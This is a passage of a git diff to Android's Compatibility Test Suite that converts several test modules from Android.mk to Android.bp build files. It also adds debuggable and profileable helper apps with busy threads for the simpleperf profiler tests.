-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerPackage1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package1
-
-include $(BUILD_CTS_PACKAGE)
-
-#-----------------------------------------------------------
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerPackage2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package2
-
-include $(BUILD_CTS_PACKAGE)
-
-#-----------------------------------------------------------
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerPackage3
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package3
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
deleted file mode 100644
index aa0112a..0000000
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerPackage4
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src) \
-        $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package4
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
deleted file mode 100644
index 57d0116..0000000
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutManagerThrottlingTest
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index d611bd3..a9c17a7 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -16,8 +16,11 @@
   libsimpleperf_cts_test \
 
 LOCAL_STATIC_LIBRARIES += \
+  libsimpleperf_etm_decoder \
   libbacktrace \
   libunwindstack \
+  libdexfile_support \
+  libdexfile_external \
   libdexfile \
   libziparchive \
   libz \
@@ -36,12 +39,12 @@
   libLLVMSupport \
   libprotobuf-cpp-lite \
   libevent \
+  libopencsd_decoder \
 
-LOCAL_POST_LINK_CMD =  \
-  TMP_FILE=`mktemp $(OUT_DIR)/simpleperf-post-link-XXXXXXXXXX` && \
-  (cd $(simpleperf_src_path)/testdata && zip - -0 -r .) > $$TMP_FILE && \
-  $($(LOCAL_2ND_ARCH_VAR_PREFIX)TARGET_OBJCOPY) --add-section .testzipdata=$$TMP_FILE $(linked_module) && \
-  rm -f $$TMP_FILE
+simpleperf_testdata_files := $(shell cd $(simpleperf_src_path); find testdata -type f)
+
+LOCAL_COMPATIBILITY_SUPPORT_FILES := \
+  $(foreach file, $(simpleperf_testdata_files), $(simpleperf_src_path)/$(file):CtsSimpleperfTestCases_$(file))
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
@@ -49,5 +52,8 @@
 include $(LLVM_DEVICE_BUILD_MK)
 include $(BUILD_CTS_EXECUTABLE)
 
+simpleperf_src_path :=
+simpleperf_testdata_files :=
+
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index eeb6f99..ad94b98 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -21,9 +21,18 @@
         <option name="push" value="CtsSimpleperfTestCases->/data/local/tmp/CtsSimpleperfTestCases" />
         <option name="append-bitness" value="true" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsSimpleperfTestCases_testdata->/data/local/tmp/testdata" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsSimpleperfDebugApp.apk" />
+        <option name="test-file-name" value="CtsSimpleperfDebuggableApp.apk" />
+        <option name="test-file-name" value="CtsSimpleperfProfileableApp.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="am start com.android.simpleperf.debuggable/.MainActivity" />
+        <option name="run-command" value="am start com.android.simpleperf.profileable/.MainActivity" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
deleted file mode 100644
index 4fef82d..0000000
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, .)
-
-LOCAL_MANIFEST_FILE := AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsSimpleperfDebugApp
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
deleted file mode 100644
index 9f4a9e2..0000000
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.simpleperf">
-
-    <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
-    </application>
-    <instrumentation
-        android:targetPackage="com.android.simpleperf"
-        android:name="androidx.test.runner.AndroidJUnitRunner" />
-</manifest>
\ No newline at end of file
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/com/android/simpleperf/EmptyTest.java b/tests/tests/simpleperf/CtsSimpleperfDebugApp/com/android/simpleperf/EmptyTest.java
deleted file mode 100644
index b4bee68..0000000
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/com/android/simpleperf/EmptyTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.simpleperf;
-
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-// This file is just to ensure that we have some code in the apk.
-public class EmptyTest extends AndroidTestCase {
-  private static final String TAG = "EmptyTest";
-
-  public void testEmpty() {
-    Log.i(TAG, "testEmpty()");
-  }
-}
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
new file mode 100644
index 0000000..9513ecd
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSimpleperfDebuggableApp",
+    defaults: ["cts_defaults"],
+    srcs: ["./**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
new file mode 100644
index 0000000..348c7b4
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.simpleperf.debuggable">
+
+    <application android:debuggable="true">
+        <activity
+            android:label="simpleperf"
+            android:name="com.android.simpleperf.debuggable.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/com/android/simpleperf/debuggable/MainActivity.java b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/com/android/simpleperf/debuggable/MainActivity.java
new file mode 100644
index 0000000..c1a48a9
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/com/android/simpleperf/debuggable/MainActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.simpleperf.debuggable;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        TextView view = new TextView(this);
+        view.setText("MainActivity");
+        setContentView(view);
+
+        createBusyThread();
+    }
+
+    void createBusyThread() {
+        new Thread(new Runnable() {
+            volatile int counter = 0;
+
+            @Override
+            public void run() {
+                while (true) {
+                    for (int i = 0; i < 100000; i++) {
+                        counter++;
+                    }
+                    try {
+                        Thread.sleep(1);
+                    } catch (InterruptedException e) {
+                    }
+                }
+            }
+        }, "BusyThread").start();
+    }
+}
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
new file mode 100644
index 0000000..fef633c
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSimpleperfProfileableApp",
+    defaults: ["cts_defaults"],
+    srcs: ["./**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
new file mode 100644
index 0000000..f1033c2
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.simpleperf.profileable">
+
+    <!-- TODO: change to <profileable android:shell="true" /> -->
+    <application android:debuggable="true">
+        <activity
+            android:label="simpleperf"
+            android:name="com.android.simpleperf.profileable.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/com/android/simpleperf/profileable/MainActivity.java b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/com/android/simpleperf/profileable/MainActivity.java
new file mode 100644
index 0000000..9db511b
--- /dev/null
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/com/android/simpleperf/profileable/MainActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.simpleperf.profileable;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        TextView view = new TextView(this);
+        view.setText("MainActivity");
+        setContentView(view);
+
+        createBusyThread();
+    }
+
+    void createBusyThread() {
+        new Thread(new Runnable() {
+            volatile int counter = 0;
+
+            @Override
+            public void run() {
+                while (true) {
+                    for (int i = 0; i < 100000; i++) {
+                        counter++;
+                    }
+                    try {
+                        Thread.sleep(1);
+                    } catch (InterruptedException e) {
+                    }
+                }
+            }
+        }, "BusyThread").start();
+    }
+}
diff --git a/tests/tests/simpleperf/OWNERS b/tests/tests/simpleperf/OWNERS
new file mode 100644
index 0000000..dad033d
--- /dev/null
+++ b/tests/tests/simpleperf/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 14890
+yabinc@google.com
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
new file mode 100644
index 0000000..a721b6f
--- /dev/null
+++ b/tests/tests/slice/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSliceTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "metrics-helper-lib",
+        "mockito-target-inline-minus-junit4",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+    compile_multilib: "both",
+    jni_libs: [
+        "libdexmakerjvmtiagent",
+        "libmultiplejvmtiagentsinterferenceagent",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+}
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
deleted file mode 100644
index b440d19..0000000
--- a/tests/tests/slice/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt \
-    metrics-helper-lib \
-    mockito-target-inline-minus-junit4 \
-    platform-test-annotations \
-    ub-uiautomator
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libdexmakerjvmtiagent \
-    libmultiplejvmtiagentsinterferenceagent
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSliceTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/speech/Android.bp b/tests/tests/speech/Android.bp
new file mode 100644
index 0000000..ee5d124
--- /dev/null
+++ b/tests/tests/speech/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSpeechTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // Needed for testing O API
+    //sdk_version: "test_current",
+    platform_apis: true,
+}
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
deleted file mode 100755
index 24576d6..0000000
--- a/tests/tests/speech/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsSpeechTestCases
-
-# Needed for testing O API
-#LOCAL_SDK_VERSION := test_current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/syncmanager/Android.bp b/tests/tests/syncmanager/Android.bp
new file mode 100644
index 0000000..e14b629
--- /dev/null
+++ b/tests/tests/syncmanager/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSyncManagerTestsCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "CtsSyncManagerCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/syncmanager/Android.mk b/tests/tests/syncmanager/Android.mk
deleted file mode 100755
index ab16ed9..0000000
--- a/tests/tests/syncmanager/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsSyncManagerCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSyncManagerTestsCases
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
